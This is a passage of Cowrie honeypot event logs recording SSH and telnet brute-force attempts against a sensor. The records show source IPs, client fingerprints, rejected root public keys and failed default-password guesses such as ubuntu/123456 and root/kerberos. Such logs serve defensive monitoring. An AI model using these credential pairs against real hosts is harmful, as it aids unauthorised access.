{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:84:03:eb:dc:d5:7f:dd:f3:35:35:28:55:55:11:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA57X/siH119b/RQJzJcqJskkjS217hALSikE34IlLxoUGryyYYUwMHFZbAdlleLWzAdc3APjjV3q/XY00tYY/USCH6KM9VNK1bghHr4v89xlvShpXO2AXFLhPWeQx5tODAvjXk7wyI+CJK5Iq/TTU52Zj7NO4rYycejnFVldQqLlahmuizOHxn0MAfM3hRZcZiXoFDAwgZsKq/5Czuf1jkvPuQggLZFi1v0e/jcPBDC6jATEpXV+4fjm90s4Sm1Vqfc2SJ2FIXmGQH4Iul3HLKAvrwlr83X1uW+yV2BBK90QSxsKQ6B6YHp0d5UtS/BEpasjGxKZigs2pE6kBrYc4EQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:84:03:eb:dc:d5:7f:dd:f3:35:35:28:55:55:11:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.924641Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:84:03:eb:dc:d5:7f:dd:f3:35:35:28:55:55:11:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA57X/siH119b/RQJzJcqJskkjS217hALSikE34IlLxoUGryyYYUwMHFZbAdlleLWzAdc3APjjV3q/XY00tYY/USCH6KM9VNK1bghHr4v89xlvShpXO2AXFLhPWeQx5tODAvjXk7wyI+CJK5Iq/TTU52Zj7NO4rYycejnFVldQqLlahmuizOHxn0MAfM3hRZcZiXoFDAwgZsKq/5Czuf1jkvPuQggLZFi1v0e/jcPBDC6jATEpXV+4fjm90s4Sm1Vqfc2SJ2FIXmGQH4Iul3HLKAvrwlr83X1uW+yV2BBK90QSxsKQ6B6YHp0d5UtS/BEpasjGxKZigs2pE6kBrYc4EQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:10.930434Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:bb:00:26:34:99:29:88:d9:1f:c1:03:f2:f3:a9:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChHkwT9UQLh2tKmpMkzen3rxwDwkChZjbyHT0+MXMuJNrqQm4rzLisc+xGSYU0/zwjddt5e1qla5DdMYi62LCCtoHFjVU77KmagQy4JXapY42e7MQ79Gd6zJet41meTd/U/ofDUFYG59YL6GQmqkv2q7ohsWq7mB+e8aGLyMRpzwErTcHncCVC0fGsgXmBptNQAGXUoaNbgjcAy+HR2f+XCzns9zNLAUcNPjr29l3otNZN99qeLtGW/GYrn3ML6IiI1tQdVf3VmyQZZ8X5AJGRtsIVhBxaI7rWaGU9styyAO/xi3SbuPUJIwEk4/9xH5X2gP9210p/ki9tpVcfC8Goa8TYlcmkz0RxQxx4vqQnJTNG8tC9wsnQqh93AyoSjlRI6zmY8LEH+xCt6C9UphWksp9hFgYsx9cK7vJd7ZswSOQ+tExFfW0doDJyQEs1k4+qeL9y0SW1ZF7+J5PKvUJbFrxAWdpEBaI0krarfoxmICUak5Ssmjx/DAaM7WRt5g/9mHeX8VyiGeBlc1QZdXnRuNyCyFdCPRIyjnjSBEw6BrcoiuDhVxS7eD14MG+p7hJivSObd42rWeowBHjv7CxvfRND6YM2h+CAxzGAGd2Y1oPG4kYG9L1/pN2e7xTjxXFrWDGIG+HkjJXVnZdrDjFTbgOgsNtgBte4UXop6PbRGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:bb:00:26:34:99:29:88:d9:1f:c1:03:f2:f3:a9:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:11.029321Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:bb:00:26:34:99:29:88:d9:1f:c1:03:f2:f3:a9:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChHkwT9UQLh2tKmpMkzen3rxwDwkChZjbyHT0+MXMuJNrqQm4rzLisc+xGSYU0/zwjddt5e1qla5DdMYi62LCCtoHFjVU77KmagQy4JXapY42e7MQ79Gd6zJet41meTd/U/ofDUFYG59YL6GQmqkv2q7ohsWq7mB+e8aGLyMRpzwErTcHncCVC0fGsgXmBptNQAGXUoaNbgjcAy+HR2f+XCzns9zNLAUcNPjr29l3otNZN99qeLtGW/GYrn3ML6IiI1tQdVf3VmyQZZ8X5AJGRtsIVhBxaI7rWaGU9styyAO/xi3SbuPUJIwEk4/9xH5X2gP9210p/ki9tpVcfC8Goa8TYlcmkz0RxQxx4vqQnJTNG8tC9wsnQqh93AyoSjlRI6zmY8LEH+xCt6C9UphWksp9hFgYsx9cK7vJd7ZswSOQ+tExFfW0doDJyQEs1k4+qeL9y0SW1ZF7+J5PKvUJbFrxAWdpEBaI0krarfoxmICUak5Ssmjx/DAaM7WRt5g/9mHeX8VyiGeBlc1QZdXnRuNyCyFdCPRIyjnjSBEw6BrcoiuDhVxS7eD14MG+p7hJivSObd42rWeowBHjv7CxvfRND6YM2h+CAxzGAGd2Y1oPG4kYG9L1/pN2e7xTjxXFrWDGIG+HkjJXVnZdrDjFTbgOgsNtgBte4UXop6PbRGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:11.032588Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:68:2f:a1:9a:fd:b0:3c:f6:b0:52:e1:47:f4:bf:a9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPG0mUsBizJsd7+WdAb3bwyT3RxOX1CxppdSg7hv1R9yyYfBU7tiVTSfMsadu+tW3XSUPOWKw/0i4M5zi9ngMGmwdKI/+ksNKRsog0jfhLSDj64hmGL0teXBTnKp6uKWz0YLh9vtrSM1Qyf82wa/CllO9o+iaoCDefv8MpcbYecVAAAAFQCh5H1isSJPFkYRr+5zJ6s5uRdaXQAAAIEA3Zcojl5SwQB1tz3Cr10JYnxDvMtogjpdTxmXrsMiU67e8v6gocExt0IXiJaT3l4Sj67+EfEIvaiAf3uOdEYZCq3J2n2tDIJKv94NY6VHasJUKlRM521wHkzVDqNB1q6KsfgT81b9pCCrh7XmmebmK379hJ559SNnipXPctqktj8AAACAC2thXViF9Mm4UNlD/j7zOp+heenLPDa1U9eZBGFkkhAPnD6LFkWauRe+V57PWDocz8a5KZhgkdO3AzYpBgvImUAOHElX0gjjb40Efx6zxy8oaSD5vxSTvqWVYG2Zlyeuw3AWcIEjwDCyIjgEw7zf7/AK4EEk9rHoSjkrV6132UQ=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 95:68:2f:a1:9a:fd:b0:3c:f6:b0:52:e1:47:f4:bf:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:11.123583Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:68:2f:a1:9a:fd:b0:3c:f6:b0:52:e1:47:f4:bf:a9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPG0mUsBizJsd7+WdAb3bwyT3RxOX1CxppdSg7hv1R9yyYfBU7tiVTSfMsadu+tW3XSUPOWKw/0i4M5zi9ngMGmwdKI/+ksNKRsog0jfhLSDj64hmGL0teXBTnKp6uKWz0YLh9vtrSM1Qyf82wa/CllO9o+iaoCDefv8MpcbYecVAAAAFQCh5H1isSJPFkYRr+5zJ6s5uRdaXQAAAIEA3Zcojl5SwQB1tz3Cr10JYnxDvMtogjpdTxmXrsMiU67e8v6gocExt0IXiJaT3l4Sj67+EfEIvaiAf3uOdEYZCq3J2n2tDIJKv94NY6VHasJUKlRM521wHkzVDqNB1q6KsfgT81b9pCCrh7XmmebmK379hJ559SNnipXPctqktj8AAACAC2thXViF9Mm4UNlD/j7zOp+heenLPDa1U9eZBGFkkhAPnD6LFkWauRe+V57PWDocz8a5KZhgkdO3AzYpBgvImUAOHElX0gjjb40Efx6zxy8oaSD5vxSTvqWVYG2Zlyeuw3AWcIEjwDCyIjgEw7zf7/AK4EEk9rHoSjkrV6132UQ=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:11.130623Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:11.224903Z","src_ip":"89.163.206.178","session":"665a9070ecc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35050,"dst_ip":"10.17.0.5","dst_port":22,"session":"8899b0fffbad","protocol":"ssh","message":"New connection: 80.94.92.184:35050 (10.17.0.5:22) [session: 8899b0fffbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:21.430335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:21.462368Z","src_ip":"80.94.92.184","session":"8899b0fffbad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:21.649355Z","src_ip":"80.94.92.184","session":"8899b0fffbad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:23.116379Z","src_ip":"80.94.92.184","session":"8899b0fffbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:24.438352Z","src_ip":"80.94.92.184","session":"8899b0fffbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.84764909744263,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:25.078765Z","src_ip":"172.81.62.90","session":"d15cdee76423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":41888,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eda7373617f","protocol":"ssh","message":"New connection: 4.213.224.194:41888 (10.17.0.5:22) [session: 2eda7373617f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:27.975365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:27.980694Z","src_ip":"4.213.224.194","session":"2eda7373617f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:28.168918Z","src_ip":"4.213.224.194","session":"2eda7373617f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kerberos","message":"login attempt [root/kerberos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:28.961652Z","src_ip":"4.213.224.194","session":"2eda7373617f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:30.158950Z","src_ip":"4.213.224.194","session":"2eda7373617f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.988908529281616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:34.494472Z","src_ip":"107.6.151.170","session":"e57ded9a98fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":60870,"dst_ip":"10.17.0.5","dst_port":22,"session":"e67b76732c3f","protocol":"ssh","message":"New connection: 103.248.120.6:60870 (10.17.0.5:22) [session: e67b76732c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:39.535744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:39.540590Z","src_ip":"103.248.120.6","session":"e67b76732c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:39.765169Z","src_ip":"103.248.120.6","session":"e67b76732c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026!","message":"login attempt [ubuntu/ubuntu2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:40.686240Z","src_ip":"103.248.120.6","session":"e67b76732c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:41.911790Z","src_ip":"103.248.120.6","session":"e67b76732c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":49588,"dst_ip":"159.203.135.109","dst_port":22,"session":"057c7d9f65b7","protocol":"ssh","message":"New connection: 91.211.95.158:49588 (159.203.135.109:22) [session: 057c7d9f65b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:52.084815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:52.102779Z","src_ip":"91.211.95.158","session":"057c7d9f65b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:52.258713Z","src_ip":"91.211.95.158","session":"057c7d9f65b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"va","password":"va","message":"login attempt [va/va] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:52.912019Z","src_ip":"91.211.95.158","session":"057c7d9f65b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:22:54.068570Z","src_ip":"91.211.95.158","session":"057c7d9f65b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42266,"dst_ip":"159.203.135.109","dst_port":22,"session":"78754426ccdf","protocol":"ssh","message":"New connection: 2.57.122.238:42266 (159.203.135.109:22) [session: 78754426ccdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:52.498301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:52.502360Z","src_ip":"2.57.122.238","session":"78754426ccdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:52.605591Z","src_ip":"2.57.122.238","session":"78754426ccdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sepolia","password":"sepolia","message":"login attempt [sepolia/sepolia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:52.911277Z","src_ip":"2.57.122.238","session":"78754426ccdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:54.016309Z","src_ip":"2.57.122.238","session":"78754426ccdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":11742,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddaf3ec07305","protocol":"ssh","message":"New connection: 123.58.215.196:11742 (10.17.0.5:22) [session: ddaf3ec07305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.095328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.099907Z","src_ip":"123.58.215.196","session":"ddaf3ec07305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":50872,"dst_ip":"10.17.0.5","dst_port":22,"session":"35c0f4effa96","protocol":"ssh","message":"New connection: 91.92.40.8:50872 (10.17.0.5:22) [session: 35c0f4effa96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.154713Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:23:56.248391Z","src_ip":"91.92.40.8","session":"35c0f4effa96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-s